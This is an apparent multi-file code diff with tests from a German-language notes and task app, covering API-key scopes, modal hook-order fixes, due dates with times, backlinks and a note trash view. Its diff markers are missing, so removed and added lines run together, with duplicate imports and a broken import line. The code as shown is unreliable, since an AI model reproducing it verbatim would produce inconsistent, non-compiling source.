const createAPIKey = vi.fn(async () => ({ id: 'k1', userId: 'u', name: 'HA', keyPrefix: 'mindsift_sec_ab', scopes: 'webhook:triage,webhook:list', createdAt: '' }));
vi.mock('../../../lib/api', () => ({
api: {
getAPIKeys: vi.fn(async () => [
{ id: 'k0', userId: 'u', name: 'Rauchmelder', keyPrefix: 'mindsift_sec_xy', scopes: 'webhook:triage,webhook:task', createdAt: '' },
]),
getAllLists: vi.fn(async () => []),
getTaskLists: vi.fn(async () => []),
createAPIKey: (...args: unknown[]) => createAPIKey(...(args as [])),
deleteAPIKey: vi.fn(),
testWebhookIngest: vi.fn(),
},
triggerHaptic: vi.fn(),
}));
import { ApiKeysPanel } from '../ApiKeysPanel';
describe('ApiKeysPanel', () => {
beforeEach(() => createAPIKey.mockClear());
it('shows the scopes of existing keys as badges', async () => {
render(<ApiKeysPanel />);
expect(await screen.findByText('Rauchmelder')).toBeTruthy();
expect(screen.getAllByText('📋 Aufgaben').length).toBeGreaterThan(1); // chip + badge
});
it('creates a key with the chosen scopes and never without one', async () => {
render(<ApiKeysPanel />);
const triage = screen.getByRole('checkbox', { name: /Triage/ });
fireEvent.click(triage); // last remaining scope cannot be switched off
expect(triage.getAttribute('aria-checked')).toBe('true');
fireEvent.click(screen.getByRole('checkbox', { name: /Listeneinträge/ }));
await act(async () => {
fireEvent.click(screen.getByRole('button', { name: /API-Key erzeugen/ }));
});
expect(createAPIKey).toHaveBeenCalledWith('Home Assistant', ['webhook:triage', 'webhook:list']);
});
});
@@ -8,7 +8,6 @@ import {
RotateCcw,
Check,
Columns,
Layers,
} from 'lucide-react';
import { KanbanColumn } from '../../lib/types';
import { triggerHaptic } from '../../lib/api';
@@ -28,15 +27,17 @@ export const DEFAULT_KANBAN_COLUMNS: KanbanColumn[] = [
{ id: 'done', name: 'Erledigt', isDone: true, color: 'emerald' },
];
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = ({
// Wrapper and content split so the hooks always run in the same number (see TaskDetailModal)
export const ManageColumnsModal: React.FC<ManageColumnsModalProps> = (props) =>
props.isOpen ? <ManageColumnsModalContent {...props} /> : null;
const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
isOpen,
onClose,
initialColumns,
onSave,
listTitle,
}) => {
if (!isOpen) return null;
const [columns, setColumns] = useState<KanbanColumn[]>(() => {
return initialColumns && initialColumns.length > 0 ? initialColumns : DEFAULT_KANBAN_COLUMNS;
});
@@ -7,23 +7,21 @@ import {
FileText,
Plus,
CheckSquare,
Clock,
Layers,
Hash,
AlertTriangle,
Flame,
ChevronRight,
Folder,
Webhook,
Lock,
UserPlus,
Repeat,
} from 'lucide-react';
import { Thought, SubTask, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
import { UserAvatar } from '../../components/UserAvatar';
import { UserAutocomplete } from '../UserAutocomplete';
import { triggerHaptic } from '../../lib/api';
import { MarkdownViewer } from '../../lib/markdown';
import { addDays, joinDue, splitDue } from '../../lib/due';
interface TaskDetailModalProps {
task: Thought | null;
@@ -50,9 +48,13 @@ interface TaskDetailModalProps {
readOnly?: boolean; // Task belongs to a list shared with "viewer" permission
}
export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
// The wrapper decides whether the dialog is shown; the content holds all hooks, so their number never
// changes between renders (hooks after an early return break React when isOpen flips)
export const TaskDetailModal: React.FC<TaskDetailModalProps> = (props) =>
props.isOpen && props.task ? <TaskDetailModalContent {...props} task={props.task} /> : null;
const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }> = ({
task,
isOpen,
onClose,
activeColumns,
taskLists,
@@ -74,8 +76,6 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
onDeleteTask,
readOnly = false,
}) => {
if (!isOpen || !task) return null;
const [titleDraft, setTitleDraft] = useState(task.content);
const [isEditingTitle, setIsEditingTitle] = useState(false);
@@ -143,7 +143,7 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
const handleAddTagSubmit = async (e: React.FormEvent) => {
e.preventDefault();
let cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
const cleaned = newTagDraft.trim().replace(/^#+/, '').toLowerCase();
if (!cleaned) return;
const currentTags = Array.isArray(task.tags) ? [...task.tags] : [];
if (!currentTags.includes(cleaned)) {
@@ -165,22 +165,17 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
}
};
const dueParts = splitDue(task.dueDate);
const handleQuickDueDate = (daysOffset: number | null) => {
if (daysOffset === null) {
onUpdateDueDate(task, '');
return;
}
const d = new Date();
d.setDate(d.getDate() + daysOffset);
const dateStr = d.toISOString().split('T')[0];
onUpdateDueDate(task, dateStr);
// Keep a chosen time when only the day changes
onUpdateDueDate(task, joinDue(addDays(daysOffset), splitDue(task.dueDate).time));
};
const currentColumn = activeColumns.find((c) => c.id === task.kanbanStatus) ||
(task.isCompleted
? activeColumns.find((c) => c.isDone) || activeColumns[activeColumns.length - 1]
: activeColumns.find((c) => !c.isDone) || activeColumns[0]);
const subtasks = Array.isArray(task.subtasks) ? task.subtasks : [];
const completedSubtasks = subtasks.filter((s) => s.isCompleted).length;
const subtasksPercent = subtasks.length > 0 ? Math.round((completedSubtasks / subtasks.length) * 100) : 0;
@@ -469,21 +464,32 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
<div className="space-y-1.5">
<label className="block text-xs font-semibold text-main flex items-center gap-1">
<Calendar className="w-3.5 h-3.5 text-accent" />
<span>Fälligkeitsdatum:</span>
<span>Fällig:</span>
</label>
<div className="flex items-center gap-1.5">
<input
type="date"
value={task.dueDate || ''}
onChange={(e) => onUpdateDueDate(task, e.target.value)}
className="flex-1 h-8 input-field px-2 text-xs bg-panel"
aria-label="Fälligkeitsdatum"
value={dueParts.date}
onChange={(e) => onUpdateDueDate(task, joinDue(e.target.value, dueParts.time))}
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel"
/>
<input
type="time"
aria-label="Uhrzeit (optional)"
title="Uhrzeit (optional) – ohne Uhrzeit gilt die Aufgabe den ganzen Tag"
value={dueParts.time}
disabled={!dueParts.date}
onChange={(e) => onUpdateDueDate(task, joinDue(dueParts.date, e.target.value))}
className="w-[7.5rem] shrink-0 h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel disabled:opacity-50"
/>
{task.dueDate && (
<button
type="button"
onClick={() => onUpdateDueDate(task, '')}
className="btn-action h-8 px-2 text-xs text-muted hover:text-status-err"
title="Datum entfernen"
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center text-muted hover:text-status-err shrink-0"
title="Fälligkeit entfernen"
aria-label="Fälligkeit entfernen"
>
<X className="w-3.5 h-3.5" />
</button>
@@ -511,6 +517,17 @@ export const TaskDetailModal: React.FC<TaskDetailModalProps> = ({
>
+1 Woche
</button>
{dueParts.time && (
<button
type="button"
onClick={() => onUpdateDueDate(task, dueParts.date)}
className="px-1.5 py-0.5 bg-canvas border border-border rounded-btn text-muted hover:text-main inline-flex items-center gap-1"
title="Uhrzeit entfernen – die Aufgabe gilt dann den ganzen Tag"
>
<X className="w-2.5 h-2.5" />
Uhrzeit
</button>
)}
</div>
{onUpdateRecurrence && (
<div className="pt-1">
+22 -75
View File
@@ -15,19 +15,19 @@ import {
Layers,
Users,
CheckSquare,
User as UserIcon,
User as
Lock,
Hash,
AlertTriangle,
Flame,
Settings,
ChevronDown,
Folder,
Filter,
Webhook,
Repeat,
} from 'lucide-react';
import { TaskList, Thought, SubTask, Team, User, TaskListShare, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due';
import { api, triggerHaptic } from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { TaskDetailModal } from './TaskDetailModal';
@@ -91,10 +91,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
// Share TaskList modal state
const [showShareListModal, setShowShareListModal] = useState(false);
const [sharingTaskList, setSharingTaskList] = useState<TaskList | null>(null);
const [addShareType, setAddShareType] = useState<'team' | 'user'>('team');
const [selectedShareTargetId, setSelectedShareTargetId] = useState('');
const [selectedShareUser, setSelectedShareUser] = useState<User | null>(null);
const [shareLoading, setShareLoading] = useState(false);
// Detail modal state
const [detailTaskId, setDetailTaskId] = useState<string | null>(null);
@@ -416,10 +412,11 @@ export const TasksView: React.FC<TasksViewProps> = ({
if (high.length > 0) groups.push({ key: 'p:high', title: '⚠️ Wichtig', count: high.length, tasks: high });
if (normal.length > 0) groups.push({ key: 'p:normal', title: 'Normal', count: normal.length, tasks: normal });
} else if (groupBy === 'due') {
const today = new Date().toISOString().split('T')[0];
const overdue = filteredTasks.filter((t) => t.dueDate && t.dueDate < today);
const dueToday = filteredTasks.filter((t) => t.dueDate === today);
const upcoming = filteredTasks.filter((t) => t.dueDate && t.dueDate > today);
const now = new Date();
const today = localDay(now);
const overdue = filteredTasks.filter((t) => isOverdue(t.dueDate, now));
const dueToday = filteredTasks.filter((t) => isDueToday(t.dueDate, now) && !isOverdue(t.dueDate, now));
const upcoming = filteredTasks.filter((t) => t.dueDate && splitDue(t.dueDate).date > today);
const noDue = filteredTasks.filter((t) => !t.dueDate);
if (overdue.length > 0) groups.push({ key: 'due:overdue', title: '⚠️ Überfällig', count: overdue.length, tasks: overdue });
if (dueToday.length > 0) groups.push({ key: 'due:today', title: '📅 Heute fällig', count: dueToday.length, tasks: dueToday });
@@ -852,8 +849,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
const handleOpenShareModal = async (tl: TaskList) => {
setSharingTaskList(tl);
setSelectedShareTargetId('');
setSelectedShareUser(null);
setShowShareListModal(true);
try {
const [freshTeams, freshUsers, freshShares] = await Promise.all([
@@ -869,60 +864,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
}
};
const handleAddShare = async () => {
if (!sharingTaskList) return;
const targetId = addShareType === 'team' ? selectedShareTargetId : selectedShareUser?.id;
if (!targetId) return;
setShareLoading(true);
triggerHaptic(15);
try {
await api.addTaskListShare(sharingTaskList.id, {
targetType: addShareType,
targetId: targetId,
});
const [freshLists, freshShares] = await Promise.all([
api.getTaskLists(),
api.getTaskListShares(sharingTaskList.id).catch(() => []),
]);
setTaskLists(freshLists);
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
if (updated) {
setSharingTaskList({ ...updated, shares: freshShares });
}
setSelectedShareTargetId('');
setSelectedShareUser(null);
await loadData();
} catch (err: any) {
alert(err.message || 'Fehler beim Hinzufügen der Freigabe');
} finally {
setShareLoading(false);
}
};
const handleRemoveShare = async (shareId: string) => {
if (!sharingTaskList) return;
if (!window.confirm('Freigabe wirklich aufheben?')) return;
setShareLoading(true);
triggerHaptic(15);
try {
await api.removeTaskListShare(sharingTaskList.id, shareId);
const [freshLists, freshShares] = await Promise.all([
api.getTaskLists(),
api.getTaskListShares(sharingTaskList.id).catch(() => []),
]);
setTaskLists(freshLists);
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
if (updated) {
setSharingTaskList({ ...updated, shares: freshShares });
}
await loadData();
} catch (err: any) {
alert(err.message || 'Fehler beim Entfernen der Freigabe');
} finally {
setShareLoading(false);
}
};
const handleSaveColumns = async (newColumns: KanbanColumn[]) => {
triggerHaptic(15);
if (currentSelectedList && selectedListId !== 'all') {
@@ -1311,9 +1252,12 @@ export const TasksView: React.FC<TasksViewProps> = ({
{/* Due Date */}
{task.dueDate && (
<span className="inline-flex items-center gap-1 text-[10px] text-muted">
<span
className={`inline-flex items-center gap-1 text-[10px] ${!task.isCompleted && isOverdue(task.dueDate) ? 'text-status-err font-semibold' : 'text-muted'}`}
title={`Fällig: ${task.dueDate.replace('T', ' ')}`}
>
<Calendar className="w-2.5 h-2.5 text-accent" />
<span>{task.dueDate}</span>
<span>{formatDue(task.dueDate)}</span>
</span>
)}
{task.recurrence && (
@@ -1400,9 +1344,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
}`}
>
{/* Counter on the label, like in the nav bar */}
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-3' : ''}`}>
Alle Aufgaben
<CountBadge count={openTasksCount} position="corner" className="-top-1.5 -right-1" />
<CountBadge count={openTasksCount} position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1418,9 +1362,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
>
<span>{tl.icon}</span>
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-3' : ''}`}>
{tl.title}
<CountBadge count={tl.tasksCount} position="corner" className="-top-1.5 -right-1" />
<CountBadge count={tl.tasksCount} position="corner" className="-top-0.5 -right-2" />
</span>
{(() => {
@@ -2335,9 +2279,12 @@ export const TasksView: React.FC<TasksViewProps> = ({
</span>
)}
{task.dueDate && (
<span className="inline-flex items-center gap-0.5 text-[9px] text-muted">
<span
className={`inline-flex items-center gap-0.5 text-[9px] ${!task.isCompleted && isOverdue(task.dueDate) ? 'text-status-err font-semibold' : 'text-muted'}`}
title={`Fällig: ${task.dueDate.replace('T', ' ')}`}
>
<Calendar className="w-2.5 h-2.5" />
<span>{task.dueDate}</span>
<span>{formatDue(task.dueDate)}</span>
</span>
)}
{task.recurrence && (
+3 -5
View File
@@ -20,6 +20,7 @@ import {
MoreHorizontal,
} from 'lucide-react';
import { SharedList, Thought } from '../../lib/types';
import { addDays, formatDue } from '../../lib/due';
import { api, triggerHaptic } from '../../lib/api';
interface TriageDeckProps {
@@ -223,10 +224,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
const [cards, setCards] = useState<Thought[]>(deck);
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
const [showDateModal, setShowDateModal] = useState(false);
const [taskDueDate, setTaskDueDate] = useState(() => {
const tomorrow = new Date(Date.now() + 86400000);
return tomorrow.toISOString().slice(0, 10);
});
const [taskDueDate, setTaskDueDate] = useState(() => addDays(1));
const [showListSelector, setShowListSelector] = useState(false);
// Long-Press Action Sheet state (for Triage Card or Queue Item)
@@ -666,7 +664,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
{activeCard.dueDate && (
<span className="px-2 py-0.5 bg-canvas text-muted border border-border rounded-btn text-xs">
📅 {activeCard.dueDate}
📅 {formatDue(activeCard.dueDate)}
</span>
)}
</div>
@@ -0,0 +1,70 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent } from '@testing-library/react';
import { TaskDetailModal } from '../TaskDetailModal';
import { Thought } from '../../../lib/types';
const task: Thought = {
id: 'th_1',
userId: 'usr_1',
content: 'Fenster putzen',
tags: [],
priority: 'normal',
source: 'manual',
status: 'converted',
isCompleted: false,
kanbanStatus: 'todo',
dueDate: '2026-10-30T14:30',
createdAt: '2026-10-29T08:00:00Z',
};
const columns = [
{ id: 'todo', name: 'Zu erledigen' },
{ id: 'done', name: 'Erledigt', isDone: true },
];
const noop = vi.fn(async () => {});
const props = (over: Partial<React.ComponentProps<typeof TaskDetailModal>> = {}) => ({
task,
isOpen: true,
onClose: vi.fn(),
activeColumns: columns,
taskLists: [],
onUpdateTitle: noop,
onUpdateStatus: noop,
onUpdatePriority: noop,
onUpdateDueDate: vi.fn(async () => {}),
onUpdateTaskList: noop,
onUpdateNotes: noop,
onToggleSubtask: noop,
onAddSubtask: noop,
onDeleteSubtask: noop,
onConvertToDoc: vi.fn(),
onDeleteTask: vi.fn(),
...over,
});
describe('TaskDetailModal', () => {
it('opens and closes without breaking the hook order', () => {
const { rerender, container } = render(<TaskDetailModal {...props({ isOpen: false })} />);
expect(container.firstChild).toBeNull();
rerender(<TaskDetailModal {...props()} />);
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
rerender(<TaskDetailModal {...props({ isOpen: false })} />);
rerender(<TaskDetailModal {...props()} />);
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
});
it('shows date and time separately and removes only the time', () => {
const onUpdateDueDate = vi.fn(async () => {});
render(<TaskDetailModal {...props({ onUpdateDueDate })} />);
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).value).toBe('2026-10-30');
expect((screen.getByLabelText('Uhrzeit (optional)') as HTMLInputElement).value).toBe('14:30');
fireEvent.click(screen.getByTitle(/Uhrzeit entfernen/));
expect(onUpdateDueDate).toHaveBeenCalledWith(task, '2026-10-30');
});
it('is view-only for tasks in lists shared with viewer rights', () => {
render(<TaskDetailModal {...props({ readOnly: true })} />);
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
});
});
@@ -0,0 +1,118 @@
import React, { useEffect, useState } from 'react';
import { ChevronDown, ChevronRight, Folder, Link2 } from 'lucide-react';
import { Backlink } from '../../lib/types';
import { api } from '../../lib/api';
interface BacklinksSectionProps {
docId: string;
title: string;
onOpen: (docId: string, blockId?: string) => void;
}
const COLLAPSED_KEY = 'mindsift:backlinks_collapsed';
// Shows the [[Wiki-Link]] parts of a block in the accent color, the rest as plain text
const Snippet: React.FC<{ text: string }> = ({ text }) => (
<>
{text.split(/(\[\[[^\]]*\]\])/g).map((part, i) =>
part.startsWith('[[') && part.endsWith(']]') ? (
<span key={i} className="text-accent font-medium">
{part}
</span>
) : (
<React.Fragment key={i}>{part}</React.Fragment>
)
)}
</>
);
// "Verlinkt auf diese Notiz" at the end of a note. Hidden while nothing links here; reloads shortly
// after the title changes, since links are matched by title.
export const BacklinksSection: React.FC<BacklinksSectionProps> = ({ docId, title, onOpen }) => {
const [links, setLinks] = useState<Backlink[]>([]);
const [collapsed, setCollapsed] = useState<boolean>(() => {
try {
return localStorage.getItem(COLLAPSED_KEY) === 'true';
} catch {
return false;
}
});
useEffect(() => {
let cancelled = false;
const timer = setTimeout(() => {
api
.getBacklinks(docId)
.then((res) => !cancelled && setLinks(res))
.catch(() => !cancelled && setLinks([]));
}, 400);
return () => {
cancelled = true;
clearTimeout(timer);
};
}, [docId, title]);
if (links.length === 0) return null;
const toggle = () => {
setCollapsed((prev) => {
try {
localStorage.setItem(COLLAPSED_KEY, String(!prev));
} catch {}
return !prev;
});
};
return (
<section className="mt-10 pt-4 border-t border-border" aria-label="Rückverweise">
<button
type="button"
onClick={toggle}
aria-expanded={!collapsed}
className="w-full flex items-center gap-1.5 min-h-[44px] sm:min-h-0 py-1 text-xs font-semibold text-muted hover:text-main cursor-pointer"
>
{collapsed ? <ChevronRight className="w-3.5 h-3.5" /> : <ChevronDown className="w-3.5 h-3.5" />}
<Link2 className="w-3.5 h-3.5 text-accent" />
<span>Verlinkt auf diese Notiz ({links.length})</span>
</button>
{!collapsed && (
<ul className="mt-2 space-y-2">
{links.map((l) => (
<li key={l.docId} className="p-3 bg-panel border border-border rounded-card">
<button
type="button"
onClick={() => onOpen(l.docId)}
className="flex items-center gap-2 min-w-0 max-w-full text-left cursor-pointer group"
>
<span className="shrink-0">{l.icon || '📝'}</span>
<span className="text-sm font-semibold text-main truncate group-hover:text-accent">
{l.title || 'Unbenannte Notiz'}
</span>
{l.folderPath && (
<span className="hidden sm:inline-flex items-center gap-1 text-[11px] text-faint min-w-0">
<Folder className="w-3 h-3 shrink-0" />
<span className="truncate">{l.folderPath}</span>
</span>
)}
</button>
<ul className="mt-1.5 space-y-1">
{l.blocks.map((b) => (
<li key={b.id}>
<button
type="button"
onClick={() => onOpen(l.docId, b.id)}
className="w-full text-left text-xs text-muted hover:text-main px-2 py-1.5 rounded-btn hover:bg-panel-elevated border-l-2 border-border line-clamp-3 break-words cursor-pointer"
>
<Snippet text={b.content} />
</button>
</li>
))}
</ul>
{!!l.more && <p className="mt-1 text-[11px] text-faint">… und {l.more} weitere Stellen</p>}
</li>
))}
</ul>
)}
</section>
);
};
@@ -1,4 +1,4 @@
import React, { useState, useMemo, useRef, useEffect } from 'react';
import React, { useState, useMemo, useRef } from 'react';
import Prism from 'prismjs';
import 'prismjs/components/prism-python';
import 'prismjs/components/prism-typescript';
@@ -3,6 +3,7 @@ import {
Pin,
Users,
Trash2,
RotateCcw,
Download,
FileText,
Loader2,
@@ -13,7 +14,6 @@ import {
Minimize2,
Sparkles,
Plus,
Search,
Check,
CloudOff,
AlertTriangle,
@@ -36,15 +36,18 @@ export interface DocumentEditorProps {
initialFocusedBlockId?: string | null;
onDocMetadataChange: (updated: Document) => void;
onDeleteDoc: (docId: string) => void;
onRestoreDoc?: (docId: string) => void;
onOpenShareModal: (doc: Document) => void;
onSelectTag: (tag: string) => void;
onWikiLinkClick?: (pageTitle: string) => void;
onOpenDocBlock?: (docId: string, blockId?: string) => void;
onBackMobile?: () => void;
onOpenTask?: (taskId: string) => void;
onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
}
import { EmojiPickerModal } from './EmojiPickerModal';
import { BacklinksSection } from './BacklinksSection';
function ensureNonEmptyBlocks(docId: string, blocks?: DocumentBlock[]): DocumentBlock[] {
if (!blocks || blocks.length === 0) {
@@ -179,6 +182,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
initialFocusedBlockId,
onDocMetadataChange,
onDeleteDoc,
onRestoreDoc,
onOpenDocBlock,
onOpenShareModal,
onSelectTag,
onWikiLinkClick,
@@ -244,7 +249,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
}, [title, doc?.title, blocks, zoomedBlockId]);
// Owner and editors may edit; the role comes from the server via the sync engine
const inTrash = Boolean(doc?.isArchived);
const canEdit = useMemo(() => {
if (doc?.isArchived) return false;
if (engineState?.role) return engineState.role === 'owner' || engineState.role === 'editor';
if (!doc) return false;
return Boolean(doc.isOwner || doc.permission === 'owner' || doc.permission === 'write');
@@ -770,7 +777,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
{/* Who else has this note open */}
<PresenceAvatars people={otherPeople} avatars={avatarsById} />
{/* Sharing Section */}
{doc && (() => {
{doc && !inTrash && (() => {
const isOwner = doc.isOwner !== false && (doc.userId === currentUser?.id || !doc.userId || currentUser?.role === 'admin');
const sharesCount = doc.sharedWith?.length || 0;
const isShared = sharesCount > 0 || !isOwner || Boolean(doc.sharedFolderId);
@@ -814,7 +821,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
);
})()}
<button
{!inTrash && <button
type="button"
onClick={handleTogglePin}
className={`btn-icon ${
@@ -825,7 +832,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
title={doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}
>
<Pin className="w-3.5 h-3.5" />
</button>
</button>}
<button
type="button"
@@ -849,8 +856,26 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
</div>
</div>
{/* In the trash: read-only with a way back */}
{inTrash && (
<div className="flex flex-wrap items-center gap-2 px-4 sm:px-6 py-2 bg-status-err/10 border-b border-status-err/25 text-status-err text-xs">
<Trash2 className="w-3.5 h-3.5 shrink-0" />
<span className="flex-1 min-w-0">Diese Notiz liegt im Papierkorb und ist schreibgeschützt.</span>
{onRestoreDoc && (
<button
type="button"
onClick={() => onRestoreDoc(docId)}
className="btn-action h-11 sm:h-7 px-3 text-xs text-main inline-flex items-center gap-1.5"
>
<RotateCcw className="w-3.5 h-3.5 text-accent" />
Wiederherstellen
</button>
)}
</div>
)}
{/* Read-only notification banner */}
{!canEdit && (
{!canEdit && !inTrash && (
<div className="flex items-center gap-2 px-4 sm:px-6 py-2 bg-status-warn/10 border-b border-status-warn/25 text-status-warn text-xs">
<Lock className="w-3.5 h-3.5 shrink-0" />
<span>Dieses Dokument wurde schreibgeschützt mit dir geteilt (Nur Lesen).</span>
@@ -1047,6 +1072,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
onUndo={handleUndo}
onRedo={handleRedo}
/>
{onOpenDocBlock && !inTrash && <BacklinksSection docId={docId} title={title} onOpen={onOpenDocBlock} />}
</>
)}
</div>
@@ -97,7 +97,6 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
block,
index,
isLast,
maxAllowedLevel,
hasChildren,
isFocused,
canEdit,
@@ -402,7 +402,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
// Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
const numMatch = strippedLine.match(/^\d+[\.\)]\s+(.*)$/);
const numMatch = strippedLine.match(/^\d+[.)]\s+(.*)$/);
if (bulletMatch || numMatch) {
pushCurrentItem();
afterHeading = false;
@@ -0,0 +1,141 @@
import React, { useState } from 'react';
import { ArrowLeft, Folder, RotateCcw, Trash2 } from 'lucide-react';
import { TrashedDocument } from '../../lib/types';
import { CountBadge } from '../../components/CountBadge';
interface TrashViewProps {
items: TrashedDocument[];
onOpen: (docId: string) => void;
onRestore: (docId: string) => Promise<void>;
onPurge: (docId: string) => Promise<void>;
onEmpty: () => Promise<void>;
onBackMobile: () => void;
}
const formatDeletedAt = (iso: string) => {
const d = new Date(iso);
if (Number.isNaN(d.getTime())) return '';
return d.toLocaleString('de-DE', { day: '2-digit', month: '2-digit', year: 'numeric', hour: '2-digit', minute: '2-digit' });
};
// Deleted notes: open read-only, restore, or delete for good. Deleting for good always takes a second
// tap on the same button ("Wirklich löschen?"), which works the same with mouse and touch.
export const TrashView: React.FC<TrashViewProps> = ({ items, onOpen, onRestore, onPurge, onEmpty, onBackMobile }) => {
const [confirmId, setConfirmId] = useState<string | null>(null);
const [busyId, setBusyId] = useState<string | null>(null);
const [error, setError] = useState<string | null>(null);
const run = async (id: string, action: () => Promise<void>) => {
setBusyId(id);
setError(null);
try {
await action();
setConfirmId(null);
} catch (err: any) {
setError(err.message || 'Aktion fehlgeschlagen');
} finally {
setBusyId(null);
}
};
return (
<div className="flex-1 overflow-y-auto p-4 sm:p-6 lg:p-8 bg-canvas">
<div className="w-full max-w-3xl space-y-4">
<div className="flex flex-wrap items-center gap-2">
<button
type="button"
onClick={onBackMobile}
className="lg:hidden btn-action h-11 w-11 flex items-center justify-center"
aria-label="Zurück zu den Notizen"
>
<ArrowLeft className="w-4 h-4" />
</button>
<Trash2 className="w-5 h-5 text-accent" />
<h1 className="text-xl font-bold text-main">Papierkorb</h1>
<CountBadge count={items.length} />
{items.length > 0 && (
<button
type="button"
disabled={busyId !== null}
onClick={() =>
confirmId === '__all__' ? run('__all__', onEmpty) : setConfirmId('__all__')
}
className={`ml-auto h-11 sm:h-8 px-3 text-xs font-semibold rounded-btn border transition-colors disabled:opacity-50 ${
confirmId === '__all__'
? 'bg-status-err/20 text-status-err border-status-err'
: 'btn-action text-status-err border-status-err/40'
}`}
>
{confirmId === '__all__' ? `Wirklich ${items.length} endgültig löschen?` : 'Papierkorb leeren'}
</button>
)}
</div>
<p className="text-xs text-muted">
Gelöschte Notizen bleiben hier, bis du sie wiederherstellst oder endgültig löschst. Für alle, mit denen sie geteilt
waren, sind sie bis dahin ausgeblendet.
</p>
{error && <p className="text-xs text-status-err">{error}</p>}
{items.length === 0 ? (
<div className="p-8 text-center text-sm text-faint border border-dashed border-border rounded-card">
Der Papierkorb ist leer.
</div>
) : (
<ul className="space-y-2">
{items.map((t) => (
<li
key={t.id}
className="p-3 bg-panel border border-border rounded-card flex flex-col sm:flex-row sm:items-center gap-2 sm:gap-3"
>
<button
type="button"
onClick={() => onOpen(t.id)}
className="flex items-center gap-2.5 flex-1 min-w-0 text-left cursor-pointer group"
title="Schreibgeschützt ansehen"
>
<span className="text-lg shrink-0">{t.icon || '📝'}</span>
<span className="min-w-0">
<span className="block text-sm font-semibold text-main truncate group-hover:text-accent">
{t.title || 'Unbenannte Notiz'}
</span>
<span className="flex flex-wrap items-center gap-x-2 text-[11px] text-muted">
<span className="inline-flex items-center gap-1 min-w-0">
<Folder className="w-3 h-3 shrink-0" />
<span className="truncate">{t.folderPath || 'Hauptebene'}</span>
</span>
<span>gelöscht {formatDeletedAt(t.deletedAt)}</span>
</span>
</span>
</button>
<div className="grid grid-cols-2 sm:flex gap-2 shrink-0">
<button
type="button"
disabled={busyId !== null}
onClick={() => run(t.id, () => onRestore(t.id))}
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center justify-center gap-1.5 disabled:opacity-50"
>
<RotateCcw className="w-3.5 h-3.5 text-accent" />
Wiederherstellen
</button>
<button
type="button"
disabled={busyId !== null}
onClick={() => (confirmId === t.id ? run(t.id, () => onPurge(t.id)) : setConfirmId(t.id))}
className={`h-11 sm:h-8 px-3 text-xs rounded-btn border inline-flex items-center justify-center gap-1.5 transition-colors disabled:opacity-50 ${
confirmId === t.id
? 'bg-status-err/20 text-status-err border-status-err font-semibold'
: 'btn-action text-status-err border-status-err/40'
}`}
>
<Trash2 className="w-3.5 h-3.5" />
{confirmId === t.id ? 'Wirklich löschen?' : 'Endgültig löschen'}
</button>
</div>
</li>
))}
</ul>
)}
</div>
</div>
);
};
+131 -86
View File
@@ -18,15 +18,11 @@ import {
ExternalLink,
Sparkles,
ArrowLeft,
CheckSquare,
PanelLeftClose,
PanelLeftOpen,
ChevronLeft,
Radio,
Clock,
AlertTriangle,
Loader2,
Lock,
} from 'lucide-react';
import {
Document,
